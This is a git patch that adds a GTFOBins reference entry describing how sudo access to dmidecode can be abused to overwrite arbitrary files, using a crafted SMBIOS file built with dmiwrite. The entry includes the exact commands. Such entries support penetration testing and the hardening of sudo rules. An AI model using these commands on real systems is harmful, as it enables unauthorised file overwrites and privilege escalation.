From d6accb1ca35a6e9f75bcb4795a8c14fb0959360b Mon Sep 17 00:00:00 2001 From: godylockz <81207744+godylockz@users.noreply.github.com> Date: Tue, 13 Jul 2021 02:41:23 -0400 Subject: [PATCH] Add dmidecode --- _gtfobins/dmidecode.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/dmidecode.md diff --git a/_gtfobins/dmidecode.md b/_gtfobins/dmidecode.md new file mode 100644 index 0000000..d0e77c5 --- /dev/null +++ b/_gtfobins/dmidecode.md @@ -0,0 +1,21 @@ +--- +functions: + sudo: + - description: | + It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode. + Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target. + + - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes. + + - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option. + + ``` + make dmiwrite + TF=$(mktemp) + echo "DATA" > $TF + ./dmiwrite $TF x.dmi + ``` + code: | + LFILE=file_to_write + sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE" +---